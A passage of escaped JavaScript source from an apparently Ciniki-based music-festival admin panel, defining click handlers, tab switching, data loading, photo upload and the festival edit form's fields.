'\\\\',\\\"' + M.eU(d.name) + '\\\");';\\n case 'registration_teachers': return 'M.ciniki_musicfestivals_main.festival.openTeacher(\\\\'' + d.id + '\\\\',\\\"' + M.eU(d.display_name) + '\\\");';\\n case 'registration_tags': return 'M.ciniki_musicfestivals_main.festival.openTag(\\\\'' + M.eU(d.name) + '\\\\',\\\"' + M.eU(d.display_name) + '\\\");';\\n case 'schedule_sections': return 'M.ciniki_musicfestivals_main.festival.openScheduleSection(\\\\'' + d.id + '\\\\',\\\"' + M.eU(d.name) + '\\\");';\\n case 'schedule_divisions': return 'M.ciniki_musicfestivals_main.festival.openScheduleDivision(\\\\'' + d.id + '\\\\',\\\"' + M.eU(d.name) + '\\\");';\\n// case 'schedule_sections': return 'M.ciniki_musicfestivals_main.schedulesection.open(\\\\'M.ciniki_musicfestivals_main.festival.open();\\\\',\\\\'' + d.id + '\\\\',M.ciniki_musicfestivals_main.festival.festival_id,null);';\\n// case 'schedule_divisions': return 'M.ciniki_musicfestivals_main.scheduledivision.open(\\\\'M.ciniki_musicfestivals_main.festival.open();\\\\',\\\\'' + d.id + '\\\\',M.ciniki_musicfestivals_main.festival.schedulesection_id,M.ciniki_musicfestivals_main.festival.festival_id,null);';\\n case 'schedule_timeslots': return 'M.ciniki_musicfestivals_main.scheduletimeslot.open(\\\\'M.ciniki_musicfestivals_main.festival.open();\\\\',\\\\'' + d.id + '\\\\',M.ciniki_musicfestivals_main.festival.scheduledivision_id,M.ciniki_musicfestivals_main.festival.festival_id,null);';\\n case 'timeslot_comments': return 'M.ciniki_musicfestivals_main.timeslotcomments.open(\\\\'M.ciniki_musicfestivals_main.festival.open();\\\\',\\\\'' + d.id + '\\\\',M.ciniki_musicfestivals_main.festival.scheduledivision_id,M.ciniki_musicfestivals_main.festival.festival_id,null);';\\n case 'timeslot_photos': return null;\\n case 'competitor_cities': return 'M.ciniki_musicfestivals_main.festival.openCompetitorCity(\\\\'' + escape(d.name) + '\\\\');';\\n case 'competitor_provinces': return 'M.ciniki_musicfestivals_main.festival.openCompetitorProv(\\\\'' + escape(d.name) + '\\\\');';\\n case 'competitors': return 'M.ciniki_musicfestivals_main.competitor.open(\\\\'M.ciniki_musicfestivals_main.festival.open();\\\\',\\\\'' + d.id + '\\\\',M.ciniki_musicfestivals_main.festival.festival_id);';\\n case 'invoice_statuses': return 'M.ciniki_musicfestivals_main.festival.openInvoiceStatus(\\\\'' + d.typestatus + '\\\\');';\\n case 'invoices': return 'M.startApp(\\\\'ciniki.sapos.invoice\\\\',null,\\\\'M.ciniki_musicfestivals_main.festival.open();\\\\',\\\\'mc\\\\',{\\\\'invoice_id\\\\':\\\\'' + d.id + '\\\\'});';\\n case 'adjudicators': return 'M.ciniki_musicfestivals_main.adjudicator.open(\\\\'M.ciniki_musicfestivals_main.festival.open();\\\\',\\\\'' + d.id + '\\\\',0,M.ciniki_musicfestivals_main.festival.festival_id, M.ciniki_musicfestivals_main.festival.nplists.adjudicators);';\\n case 'certificates': return 'M.ciniki_musicfestivals_main.certificate.open(\\\\'M.ciniki_musicfestivals_main.festival.open();\\\\',\\\\'' + d.id + '\\\\');';\\n case 'files': return 'M.ciniki_musicfestivals_main.editfile.open(\\\\'M.ciniki_musicfestivals_main.festival.open();\\\\',\\\\'' + d.id + '\\\\');';\\n case 'message_statuses': return 'M.ciniki_musicfestivals_main.festival.openMessageStatus(' + d.status + ');';\\n case 'messages': return 'M.ciniki_musicfestivals_main.message.open(\\\\'M.ciniki_musicfestivals_main.festival.open();\\\\',\\\\'' + d.id + '\\\\');';\\n case 'lists': return 'M.ciniki_musicfestivals_main.festival.openList(\\\\'' + d.id + '\\\\',\\\"' + M.eU(d.name) + '\\\");';\\n case 'listsections': return 'M.ciniki_musicfestivals_main.festival.openListSection(\\\\'' + d.id + '\\\\',\\\"' + M.eU(d.name) + '\\\");';\\n case 'listentries': return 'M.ciniki_musicfestivals_main.listentry.open(\\\\'M.ciniki_musicfestivals_main.festival.open();\\\\',\\\\'' + d.id + '\\\\');';\\n case 'sponsors': return 'M.ciniki_musicfestivals_main.sponsor.open(\\\\'M.ciniki_musicfestivals_main.festival.open();\\\\',\\\\'' + d.id + '\\\\');';\\n case 'sponsors-old': return 'M.startApp(\\\\'ciniki.sponsors.ref\\\\',null,\\\\'M.ciniki_musicfestivals_main.festival.open();\\\\',\\\\'mc\\\\',{\\\\'ref_id\\\\':\\\\'' + d.sponsor.ref_id + '\\\\'});';\\n }\\n return '';\\n }\\n this.festival.rowClass = function(s, i, d) {\\n if( s == 'competitor_cities' && this.city_prov == d.name ) {\\n return 'highlight';\\n }\\n if( s == 'competitor_provinces' && this.province == d.name ) {\\n return 'highlight';\\n }\\n if( s == 'schedule_sections' && this.schedulesection_id == d.id ) {\\n return 'highlight';\\n }\\n if( s == 'schedule_divisions' && this.scheduledivision_id == d.id ) {\\n return 'highlight';\\n }\\n if( (s == 'registration_sections' || s == 'emails_sections') && this.section_id == d.id ) {\\n return 'highlight';\\n }\\n if( s == 'registration_teachers' && this.teacher_customer_id == d.id ) {\\n return 'highlight';\\n }\\n if( s == 'registration_tags' && this.registration_tag == d.name ) {\\n return 'highlight';\\n }\\n if( s == 'lists' && this.list_id == d.id ) {\\n return 'highlight';\\n }\\n if( s == 'listsections' && this.listsection_id == d.id ) {\\n return 'highlight';\\n }\\n if( s == 'message_statuses' && this.messages_status == d.status ) {\\n return 'highlight';\\n }\\n if( s == 'invoice_statuses' && this.invoice_typestatus == d.typestatus ) {\\n return 'highlight';\\n }\\n if( s == 'invoices' && this.invoice_typestatus == '' && s == 'invoices' ) {\\n switch(d.status) { \\n case '10': return 'statusorange';\\n case '15': return 'statusorange';\\n case '40': return 'statusorange';\\n case '42': return 'statusred';\\n case '50': return 'statusgreen';\\n case '55': return 'statusorange';\\n case '60': return 'statusgrey';\\n case '65': return 'statusgrey';\\n }\\n }\\n }\\n this.festival.switchTab = function(tab, stab) {\\n if( tab != null ) { this.sections._tabs.selected = tab; }\\n if( stab != null ) { this.sections._stabs.selected = stab; }\\n this.open();\\n }\\n this.festival.switchMTab = function(t) {\\n this.sections._moretabs.selected = t;\\n this.open();\\n }\\n this.festival.switchRegTab = function(t) {\\n this.sections.registration_tabs.selected = t;\\n this.open();\\n }\\n this.festival.switchCompTab = function(t) {\\n this.sections.competitor_tabs.selected = t;\\n this.open();\\n }\\n this.festival.switchLVTab = function(t) {\\n this.sections.ipv_tabs.selected = t;\\n this.open();\\n }\\n this.festival.switchEmailsTab = function(t) {\\n this.sections.emails_tabs.selected = t;\\n this.open();\\n }\\n this.festival.emailTeacherRegistrations = function() {\\n M.ciniki_musicfestivals_main.emailregistrations.open('M.ciniki_musicfestivals_main.festival.show();');\\n }\\n this.festival.openSection = function(id,n) {\\n this.lastY = 0;\\n this.section_id = id;\\n this.teacher_customer_id = 0;\\n this.registration_tag = '';\\n if( id > 0 ) {\\n this.sections.registrations.label = 'Registrations - ' + M.dU(n);\\n// this.sections.emails_list.label = 'Emails - ' + M.dU(n);\\n this.sections.emails_html.label = 'Emails - ' + M.dU(n);\\n this.sections.videos.label = 'Registrations - ' + M.dU(n);\\n } else {\\n this.sections.registrations.label = 'Registrations';\\n// this.sections.emails_list.label = 'Emails';\\n this.sections.emails_html.label = 'Emails';\\n this.sections.videos.label = 'Registrations';\\n }\\n this.open();\\n }\\n this.festival.openTeacher = function(id,n) {\\n this.lastY = 0;\\n this.teacher_customer_id = id;\\n this.section_id = 0;\\n this.registration_tag = '';\\n if( id > 0 ) {\\n this.sections.registrations.label = 'Registrations - ' + M.dU(n);\\n this.sections.videos.label = 'Registrations - ' + M.dU(n);\\n } else {\\n this.sections.registrations.label = 'Registrations';\\n this.sections.videos.label = 'Registrations';\\n }\\n this.open();\\n }\\n this.festival.openTag = function(name, n) {\\n this.lastY = 0;\\n this.section_id = 0;\\n this.teacher_customer_id = 0;\\n this.registration_tag = unescape(name);\\n if( name != '' ) {\\n this.sections.registrations.label = 'Registrations - ' + M.dU(n);\\n this.sections.videos.label = 'Registrations - ' + M.dU(n);\\n } else {\\n this.sections.registrations.label = 'Registrations';\\n this.sections.videos.label = 'Registrations';\\n }\\n this.open();\\n \\n }\\n this.festival.openScheduleSection = function(i, n) {\\n this.schedulesection_id = i;\\n this.sections.schedule_divisions.label = M.dU(n);\\n this.scheduledivision_id = 0;\\n this.open();\\n }\\n this.festival.openScheduleDivision = function(i, n) {\\n this.lastY = 0;\\n this.scheduledivision_id = i;\\n this.sections.schedule_timeslots.label = M.dU(n);\\n this.open();\\n }\\n this.festival.openList = function(i, n) {\\n this.list_id = i;\\n this.sections.listsections.label = M.dU(n);\\n this.scheduledivision_id = 0;\\n this.open();\\n }\\n this.festival.openListSection = function(i, n) {\\n this.lastY = 0;\\n this.listsection_id = i;\\n this.sections.listentries.label = M.dU(n);\\n this.open();\\n }\\n this.festival.downloadExcel = function(fid) {\\n if( this.sections.registration_tabs.selected == 'sections' && this.section_id > 0 ) {\\n M.api.openFile('ciniki.musicfestivals.registrationsExcel', {'tnid':M.curTenantID, 'festival_id':fid, 'section_id':this.section_id});\\n } else if( this.sections.registration_tabs.selected == 'teachers' && this.teacher_customer_id > 0 ) {\\n M.api.openFile('ciniki.musicfestivals.registrationsExcel', {'tnid':M.curTenantID, 'festival_id':fid, 'teacher_customer_id':this.teacher_customer_id});\\n } else if( this.sections.registration_tabs.selected == 'tags' && this.registration_tag != '' ) {\\n M.api.openFile('ciniki.musicfestivals.registrationsExcel', {'tnid':M.curTenantID, 'festival_id':fid, 'registration_tag':this.registration_tag});\\n } else {\\n M.api.openFile('ciniki.musicfestivals.registrationsExcel', {'tnid':M.curTenantID, 'festival_id':fid});\\n }\\n }\\n this.festival.downloadPDF = function(fid) {\\n if( this.sections.registration_tabs.selected == 'sections' && this.section_id > 0 ) {\\n M.api.openFile('ciniki.musicfestivals.registrationsPDF', {'tnid':M.curTenantID, 'festival_id':fid, 'section_id':this.section_id});\\n } else {\\n M.api.openFile('ciniki.musicfestivals.registrationsPDF', {'tnid':M.curTenantID, 'festival_id':fid});\\n }\\n }\\n this.festival.openInvoiceStatus = function(s) {\\n this.lastY = 0;\\n this.invoice_typestatus = s;\\n this.open();\\n }\\n this.festival.invoiceTransaction = function(i, t) {\\n M.startApp('ciniki.sapos.invoice', null, 'M.ciniki_musicfestivals_main.festival.open();', 'mc', {'invoice_id':i, 'transaction_amount':t});\\n }\\n this.festival.openCompetitorCity = function(c) {\\n this.lastY = 0;\\n this.city_prov = unescape(c);\\n this.open();\\n }\\n this.festival.openCompetitorProv = function(c) {\\n this.lastY = 0;\\n this.province = unescape(c);\\n this.open();\\n }\\n this.festival.openMessageStatus = function(s) {\\n this.messages_status = s;\\n this.open();\\n }\\n this.festival.reopen = function(cb,fid,list) {\\n if( this.sections._tabs.selected == 'sections' ) {\\n if( M.gE(this.panelUID + '_syllabus_search').value != '' ) {\\n this.sections.syllabus_search.lastsearch = M.gE(this.panelUID + '_syllabus_search').value;\\n }\\n }\\n if( this.sections._tabs.selected == 'registrations' ) {\\n if( M.gE(this.panelUID + '_registration_search').value != '' ) {\\n this.sections.registration_search.lastsearch = M.gE(this.panelUID + '_registration_search').value;\\n }\\n }\\n this.open(cb,fid,list);\\n }\\n this.festival.open = function(cb, fid, list) {\\n if( fid != null ) { this.festival_id = fid; }\\n var args = {'tnid':M.curTenantID, 'festival_id':this.festival_id};\\n this.size = 'xlarge narrowaside';\\n if( this.sections._tabs.selected == 'sections' ) {\\n if( this.sections._stabs.selected == 'sections' ) {\\n args['sections'] = 'yes';\\n } else if( this.sections._stabs.selected == 'categories' ) {\\n args['categories'] = 'yes';\\n } else if( this.sections._stabs.selected == 'classes' ) {\\n args['classes'] = 'yes';\\n }\\n } else if( this.sections._tabs.selected == 'registrations' || this.sections._tabs.selected == 'videos' ) {\\n this.size = 'xlarge narrowaside';\\n args['sections'] = 'yes';\\n args['registrations'] = 'yes';\\n args['ipv'] = this.sections.ipv_tabs.selected;\\n\\n } else if( this.sections._tabs.selected == 'schedule' ) {\\n this.size = 'medium mediumaside';\\n args['schedule'] = 'yes';\\n args['ssection_id'] = this.schedulesection_id;\\n args['sdivision_id'] = this.scheduledivision_id;\\n this.sections.schedule_sections.changeTxt = 'Add Schedule';\\n this.sections.schedule_sections.addTxt = 'Unscheduled';\\n this.sections.schedule_divisions.addTxt = 'Add Division';\\n } else if( this.sections._tabs.selected == 'comments' ) {\\n this.size = 'xlarge narrowaside';\\n args['schedule'] = 'yes';\\n args['comments'] = 'yes';\\n args['ssection_id'] = this.schedulesection_id;\\n args['sdivision_id'] = this.scheduledivision_id;\\n args['adjudicators'] = 'yes';\\n this.sections.schedule_sections.addTxt = '';\\n this.sections.schedule_sections.changeTxt = '';\\n this.sections.schedule_divisions.addTxt = '';\\n } else if( this.sections._tabs.selected == 'competitors' ) {\\n this.size = 'xlarge narrowaside';\\n args['competitors'] = 'yes';\\n if( this.sections.competitor_tabs.selected == 'cities' ) {\\n args['city_prov'] = M.eU(this.city_prov);\\n } else if( this.sections.competitor_tabs.selected == 'provinces' ) {\\n args['province'] = M.eU(this.province);\\n } \\n } else if( this.sections._tabs.selected == 'photos' ) {\\n this.size = 'xlarge narrowaside';\\n args['schedule'] = 'yes';\\n args['photos'] = 'yes';\\n args['ssection_id'] = this.schedulesection_id;\\n args['sdivision_id'] = this.scheduledivision_id;\\n args['adjudicators'] = 'no';\\n this.sections.schedule_sections.addTxt = '';\\n this.sections.schedule_sections.changeTxt = '';\\n this.sections.schedule_divisions.addTxt = '';\\n this.sections.schedule_divisions.changeTxt = '';\\n } else if( this.isSelected('more', 'lists') == 'yes' ) {\\n args['lists'] = 'yes';\\n args['list_id'] = this.list_id;\\n args['listsection_id'] = this.listsection_id;\\n } else if( this.isSelected('more', 'invoices') == 'yes' ) {\\n this.size = 'xlarge narrowaside';\\n args['invoices'] = 'yes';\\n if( this.invoice_typestatus > 0 ) {\\n args['invoice_typestatus'] = this.invoice_typestatus;\\n }\\n } else if( this.isSelected('more', 'adjudicators') == 'yes' ) {\\n this.size = 'xlarge';\\n args['adjudicators'] = 'yes';\\n } else if( this.isSelected('more', 'files') == 'yes' ) {\\n this.size = 'xlarge';\\n args['files'] = 'yes';\\n } else if( this.isSelected('more', 'certificates') == 'yes' ) {\\n this.size = 'xlarge';\\n args['certificates'] = 'yes';\\n } else if( this.sections._tabs.selected == 'messages' ) {\\n args['messages'] = 'yes';\\n // Which emails to get\\n args['messages_status'] = this.messages_status;\\n this.sections.messages.headerValues[1] = 'Date';\\n if( this.messages_status == 30 ) {\\n this.sections.messages.headerValues[1] = 'Scheduled';\\n } else if( this.messages_status == 50 ) {\\n this.sections.messages.headerValues[1] = 'Sent';\\n }\\n } else if( this.isSelected('more', 'emails') == 'yes' ) {\\n args['sections'] = 'yes';\\n // Which emails to get\\n args['emails_list'] = this.sections.emails_tabs.selected;\\n } else if( this.isSelected('more', 'sponsors') == 'yes' ) {\\n //} else if( this.sections._tabs.selected == 'sponsors' ) {\\n this.size = 'xlarge';\\n args['sponsors'] = 'yes';\\n } else if( this.isSelected('more', 'sponsors-old') == 'yes' ) {\\n args['sponsors'] = 'yes';\\n }\\n if( this.section_id > 0 ) {\\n args['section_id'] = this.section_id;\\n }\\n if( this.teacher_customer_id > 0 ) {\\n args['teacher_customer_id'] = this.teacher_customer_id;\\n }\\n if( this.registration_tag != '' ) {\\n args['registration_tag'] = this.registration_tag;\\n }\\n M.api.getJSONCb('ciniki.musicfestivals.festivalGet', args, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n var p = M.ciniki_musicfestivals_main.festival;\\n p.data = rsp.festival;\\n p.label = rsp.festival.name;\\n p.sections.registration_search.livesearchcols = 5;\\n p.sections.registrations.num_cols = 5;\\n p.sections.registration_search.headerValues = ['Class', 'Registrant', 'Teacher', 'Fee', 'Status'];\\n if( (rsp.festival.flags&0x10) == 0x10 ) {\\n p.sections.registration_search.livesearchcols = 6;\\n p.sections.registrations.num_cols = 6;\\n p.sections.registration_search.headerValues = ['Class', 'Registrant', 'Teacher', 'Fee', 'Status', 'Plus'];\\n } else if( (rsp.festival.flags&0x02) == 0x02 ) {\\n p.sections.registration_search.livesearchcols = 6;\\n p.sections.registrations.num_cols = 6;\\n p.sections.registration_search.headerValues = ['Class', 'Registrant', 'Teacher', 'Fee', 'Status', 'Virtual'];\\n }\\n p.sections.timeslot_comments.headerValues[2] = '';\\n p.sections.timeslot_comments.headerValues[3] = '';\\n p.sections.timeslot_comments.headerValues[4] = '';\\n if( rsp.festival.sections != null ) {\\n p.data.registration_sections = [];\\n p.data.emails_sections = [];\\n p.data.registration_sections.push({'id':0, 'name':'All'});\\n p.data.emails_sections.push({'id':0, 'name':'All'});\\n for(var i in rsp.festival.sections) {\\n// p.data.registration_sections.push({'id':rsp.festival.sections[i].id, 'name':rsp.festival.sections[i].name});\\n p.data.registration_sections.push(rsp.festival.sections[i]);\\n p.data.emails_sections.push({'id':rsp.festival.sections[i].id, 'name':rsp.festival.sections[i].name});\\n }\\n// p.data.registration_sections = rsp.festival.sections;\\n }\\n if( rsp.festival.schedule_sections != null ) {\\n for(var i in rsp.festival.schedule_sections) {\\n if( p.schedulesection_id > 0 && rsp.festival.schedule_sections[i].id == p.schedulesection_id ) {\\n if( rsp.festival.schedule_sections[i].adjudicator1_id > 0 && rsp.festival.adjudicators != null && rsp.festival.adjudicators[rsp.festival.schedule_sections[i].adjudicator1_id] != null ) {\\n p.sections.timeslot_comments.headerValues[2] = rsp.festival.adjudicators[rsp.festival.schedule_sections[i].adjudicator1_id].name;\\n }\\n if( rsp.festival.schedule_sections[i].adjudicator2_id > 0 && rsp.festival.adjudicators != null && rsp.festival.adjudicators[rsp.festival.schedule_sections[i].adjudicator2_id] != null ) {\\n p.sections.timeslot_comments.headerValues[2] = rsp.festival.adjudicators[rsp.festival.schedule_sections[i].adjudicator2_id].name;\\n }\\n if( rsp.festival.schedule_sections[i].adjudicator3_id > 0 && rsp.festival.adjudicators != null && rsp.festival.adjudicators[rsp.festival.schedule_sections[i].adjudicator3_id] != null ) {\\n p.sections.timeslot_comments.headerValues[2] = rsp.festival.adjudicators[rsp.festival.schedule_sections[i].adjudicator3_id].name;\\n }\\n }\\n }\\n }\\n p.nplists = {};\\n if( rsp.nplists != null ) {\\n p.nplists = rsp.nplists;\\n }\\n p.refresh();\\n p.show(cb);\\n // \\n // Auto remember last search\\n //\\n if( p.sections['syllabus_search'].lastsearch != null \\n && p.sections['syllabus_search'].lastsearch != '' \\n ) {\\n M.gE(p.panelUID + '_syllabus_search').value = p.sections['syllabus_search'].lastsearch;\\n var t = M.gE(p.panelUID + '_syllabus_search_livesearch_grid');\\n t.style.display = 'table';\\n p.liveSearchCb('syllabus_search', null, p.sections['syllabus_search'].lastsearch);\\n delete p.sections['syllabus_search'].lastsearch;\\n }\\n else if( p.sections['registration_search'].lastsearch != null \\n && p.sections['registration_search'].lastsearch != '' \\n ) {\\n M.gE(p.panelUID + '_registration_search').value = p.sections['registration_search'].lastsearch;\\n var t = M.gE(p.panelUID + '_registration_search_livesearch_grid');\\n t.style.display = 'table';\\n p.liveSearchCb('registration_search', null, p.sections['registration_search'].lastsearch);\\n delete p.sections['registration_search'].lastsearch;\\n }\\n });\\n }\\n this.festival.timeslotImageAdd = function(tid, row) {\\n this.timeslot_image_uploader_tid = tid;\\n this.timeslot_image_uploader_row = row;\\n this.image_uploader = M.aE('input', this.panelUID + '_' + tid + '_upload', 'file_uploader');\\n this.image_uploader.setAttribute('name', tid);\\n this.image_uploader.setAttribute('type', 'file');\\n this.image_uploader.setAttribute('onchange', 'M.ciniki_musicfestivals_main.festival.timeslotImageUpload();');\\n this.image_uploader.click();\\n }\\n this.festival.timeslotImageUpload = function() {\\n var files = this.image_uploader.files;\\n M.startLoad();\\n M.api.postJSONFile('ciniki.musicfestivals.timeslotImageDrop', {'tnid':M.curTenantID, 'festival_id':this.festival_id, \\n 'timeslot_id':this.timeslot_image_uploader_tid},\\n files[0],\\n function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.stopLoad();\\n M.api.err(rsp);\\n return false;\\n }\\n M.stopLoad();\\n var p = M.ciniki_musicfestivals_main.festival;\\n var t = M.gE(p.panelUID + '_timeslot_photos_grid');\\n var cell = t.children[0].children[p.timeslot_image_uploader_row].children[1];\\n cell.innerHTML += '';\\n });\\n }\\n this.festival.festivalCopy = function(old_fid) {\\n M.api.getJSONCb('ciniki.musicfestivals.festivalCopy', {'tnid':M.curTenantID, 'festival_id':this.festival_id, 'old_festival_id':old_fid}, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n M.ciniki_musicfestivals_main.festival.open();\\n });\\n }\\n this.festival.syllabusDownload = function() {\\n M.api.openPDF('ciniki.musicfestivals.festivalSyllabusPDF', {'tnid':M.curTenantID, 'festival_id':this.festival_id});\\n }\\n this.festival.nextButtonFn = function() {\\n if( this.nplist != null && this.nplist.indexOf('' + this.festival_id) < (this.nplist.length - 1) ) {\\n return 'M.ciniki_musicfestivals_main.festival.open(null,' + this.nplist[this.nplist.indexOf('' + this.festival_id) + 1] + ');';\\n }\\n return null;\\n }\\n this.festival.prevButtonFn = function() {\\n if( this.nplist != null && this.nplist.indexOf('' + this.festival_id) > 0 ) {\\n return 'M.ciniki_musicfestivals_main.festival_id.open(null,' + this.nplist[this.nplist.indexOf('' + this.festival_id) - 1] + ');';\\n }\\n return null;\\n }\\n this.festival.addButton('edit', 'Edit', 'M.ciniki_musicfestivals_main.edit.open(\\\\'M.ciniki_musicfestivals_main.festival.open();\\\\',M.ciniki_musicfestivals_main.festival.festival_id);');\\n this.festival.addClose('Back');\\n this.festival.addButton('next', 'Next');\\n this.festival.addLeftButton('prev', 'Prev');\\n\\n //\\n // The panel to edit Festival\\n //\\n this.edit = new M.panel('Festival', 'ciniki_musicfestivals_main', 'edit', 'mc', 'large mediumaside', 'sectioned', 'ciniki.musicfestivals.main.edit');\\n this.edit.data = null;\\n this.edit.festival_id = 0;\\n this.edit.nplist = [];\\n this.edit.sections = {\\n/* '_document_logo_id':{'label':'Document Header Logo', 'type':'imageform', 'aside':'yes', 'fields':{\\n 'header_logo_id':{'label':'', 'type':'image_id', 'hidelabel':'yes', 'controls':'all', 'history':'no',\\n 'addDropImage':function(iid) {\\n M.ciniki_musicfestivals_main.edit.setFieldValue('header_logo_id', iid);\\n return true;\\n },\\n 'addDropImageRefresh':'',\\n 'deleteImage':function(fid) {\\n M.ciniki_musicfestivals_main.edit.setFieldValue(fid,0);\\n return true;\\n },\\n },\\n }}, */\\n 'general':{'label':'', 'aside':'yes', 'fields':{\\n 'name':{'label':'Name', 'type':'text'},\\n 'start_date':{'label':'Start', 'type':'date'},\\n 'end_date':{'label':'End', 'type':'date'},\\n 'status':{'label':'Status', 'type':'toggle', 'toggles':{'10':'Active', '30':'Current', '60':'Archived'}},\\n 'flags1':{'label':'Registrations Open', 'type':'flagtoggle', 'default':'off', 'bit':0x01, 'field':'flags'},\\n 'flags2':{'label':'Virtual Option', 'type':'flagtoggle', 'default':'off', 'bit':0x02, 'field':'flags',\\n 'visible':function() { return M.modFlagSet('ciniki.musicfestivals', 0x4000); },\\n 'on_fields':['flags3','virtual_date', 'upload_end_dt'],\\n },\\n 'flags3':{'label':'Virtual Pricing', 'type':'flagtoggle', 'default':'off', 'bit':0x04, 'field':'flags', 'visible':'no'},\\n 'flags4':{'label':'Section End Dates', 'type':'flagtoggle', 'default':'off', 'bit':0x08, 'field':'flags'},\\n 'flags5':{'label':'Adjudication Plus', 'type':'flagtoggle', 'default':'off', 'bit':0x10, 'field':'flags',\\n 'visible':function() { return M.modFlagSet('ciniki.musicfestivals', 0x0800); },\\n },\\n 'earlybird_date':{'label':'Earlybird Deadline', 'type':'datetime'},\\n 'live_date':{'label':'Live Deadline', 'type':'datetime'},\\n 'virtual_date':{'label':'Virtual Deadline', 'type':'datetime', 'visible':'no'},\\n 'edit_end_dt':{'label':'Edit Titles Deadline', 'type':'datetime'},\\n 'upload_end_dt':{'label':'Upload Deadline', 'type':'datetime', 'visible':'no'},\\n }},\\n '_settings':{'label':'', 'aside':'yes', 'fields':{\\n 'age-restriction-msg':{'label':'Age Restriction Message', 'type':'text'},\\n 'president-name':{'label':'President Name', 'type':'text'},\\n }},\\n// Remove 2022, could be readded in future\\n// '_hybrid':{'label':'In Person/Virtual Choices', 'aside':'yes', 'fields':{\\n// 'inperson-choice-msg':{'label':'In Person Choice', 'type':'text', 'hint':'in person on a scheduled date'},\\n// 'virtual-choice-msg':{'label':'Virtual Choice', 'type':'text', 'hint':'virtually and submit a video'},\\n// }},\\n '_tabs':{'label':'', 'type':'paneltabs', 'selected':'documents', 'tabs':{\\n// 'website':{'label':'Website', 'fn':'M.ciniki_musicfestivals_main.edit.switchTab(\\\\'website\\\\');'},\\n 'documents':{'label':'Documents', 'fn':'M.ciniki_musicfestivals_main.edit.switchTab(\\\\'documents\\\\');'},\\n 'registrations':{'label':'Registrations', 'fn':'M.ciniki_musicfestivals_main.edit.switchTab(\\\\'registrations\\\\');'},\\n }},\\n '_primary_image_id':{'label':'Primary Image', 'type':'imageform', \\n 'visible':function() { return M.ciniki_musicfestivals_main.edit.sections._tabs.selected == 'website' ? 'yes' : 'hidden'; },\\n 'fields':{\\n 'primary_image_id':{'label':'', 'type':'image_id', 'hidelabel':'yes', 'controls':'all', 'history':'no',\\n 'addDropImage':function(iid) {\\n M.ciniki_musicfestivals_main.edit.setFieldValue('primary_image_id', iid, null, null);\\n return true;\\n },\\n 'addDropImageRefresh':'',\\n 'deleteImage':function(fid) {\\n M.ciniki_musicfestivals_main.edit.setFieldValue(fid,0);\\n return true;\\n },\\n },\\n }},\\n '_description':{'label':'Description', \\n 'visible':function() { return M.ciniki_musicfestivals_main.edit.sections._tabs.selected == 'website' ? 'yes' : 'hidden'; },\\n 'fields':{\\n 'description':{'label':'', 'hidelabel':'yes', 'type':'textarea'},\\n }},\\n '_document_logo_id':{'label':'Document Image', 'type':'imageform',\\n 'visible':function() { return M.ciniki_musicfestivals_main.edit.sections._tabs.selected == 'documents' ? 'yes' : 'hidden'; },\\n 'fields':{\\n 'document_logo_id':{'label':'', 'type':'image_id', 'hidelabel':'yes', 'controls':'all', 'history':'no',\\n 'addDropImage':function(iid) {\\n M.ciniki_musicfestivals_main.edit.setFieldValue('document_logo_id', iid, null, null);\\n return true;\\n },\\n 'addDropImageRefresh':'',\\n 'deleteImage':function(fid) {\\n M.ciniki_musicfestivals_main.edit.setFieldValue(fid,0);\\n return true;\\n },\\n },\\n }},\\n '_document_header_msg':{'label':'Header Message', \\n 'visible':function() { return M.ciniki_musicfestivals_main.edit.sections._tabs.selected == 'documents' ? 'yes' : 'hidden'; },\\n 'fields':{\\n 'document_header_msg':{'label':'', 'hidelabel':'yes', 'type':'text'},\\n }},\\n '_document_footer_msg':{'label':'Footer Message', \\n 'visible':function() { return M.ciniki_musicfestivals_main.edit.sections._tabs.selected == 'documents' ? 'yes' : 'hidden'; },\\n 'fields':{\\n 'document_footer_msg':{'label':'', 'hidelabel':'yes', 'type':'text'},\\n }},\\n '_comments_pdf':{'label':'Comments PDF Options', \\n 'visible':function() { return M.ciniki_musicfestivals_main.edit.sections._tabs.selected == 'documents' ? 'yes' : 'hidden'; },\\n 'fields':{\\n 'flags6':{'label':'Header Adjudicator Name', 'type':'flagtoggle', 'default':'off', 'bit':0x20, 'field':'flags'},\\n 'flags7':{'label':'Timeslot Date/Time', 'type':'flagtoggle', 'default':'off', 'bit':0x40, 'field':'flags'},\\n 'comments_grade_label':{'label':'Grade Label', 'default':'Mark', 'type':'text'},\\n 'comments_footer_msg':{'label':'Footer Message', 'type':'text'},\\n }},\\n '_certificates_pdf':{'label':'Certificates PDF Options', \\n 'visible':function() { return M.ciniki_musicfestivals_main.edit.sections._tabs.selected == 'documents' ? 'yes' : 'hidden'; },\\n 'fields':{\\n 'flags8':{'label':'Include Pronouns', 'type':'flagtoggle', 'default':'off', 'bit':0x80, 'field':'flags'},\\n }},\\n '_syllabus':{'label':'Syllabus Options', \\n 'visible':function() { return M.ciniki_musicfestivals_main.edit.sections._tabs.selected == 'documents' ? 'yes' : 'hidden'; },\\n 'fields':{\\n 'flags5':{'label':'Include Section/Category as Class Name', 'type':'flagtoggle', 'default':'off', 'bit':0x0100, 'field':'flags'},\\n }},\\n '_registration_parent_msg':{'label':'Registration Form', \\n 'visible':function() { return M.ciniki_musicfestivals_main.edit.sections._tabs.selected == 'registrations' ? 'yes' : 'hidden'; },\\n 'fields':{\\n 'registration-parent-msg':{'label':'Parents Intro', 'type':'textarea', 'size':'medium'},\\n 'registration-teacher-msg':{'label':'Teachers Intro', 'type':'textarea', 'size':'medium'},\\n 'registration-adult-msg':{'label':'Adult Intro', 'type':'textarea', 'size':'medium'},\\n }},\\n '_competitor_parent_msg':{'label':'Individual Competitor Form', \\n 'visible':function() { return M.ciniki_musicfestivals_main.edit.sections._tabs.selected == 'registrations' ? 'yes' : 'hidden'; },\\n 'fields':{\\n 'competitor-parent-msg':{'label':'Parent Intro', 'type':'textarea', 'size':'medium'},\\n 'competitor-teacher-msg':{'label':'Teacher Intro', 'type':'textarea', 'size':'medium'},\\n 'competitor-adult-msg':{'label':'Adult Intro', 'type':'textarea', 'size':'medium'},\\n 'competitor-individual-study-level':{'label':'Study Level', 'type':'toggle', 'default':'optional', 'toggles':{\\n 'options':'Optional', 'required':'Required', 'hidden':'Hidden',\\n }},\\n }},\\n '_competitor_group_parent_msg':{'label':'Group/Ensemble Competitor Form', \\n 'visible':function() { return 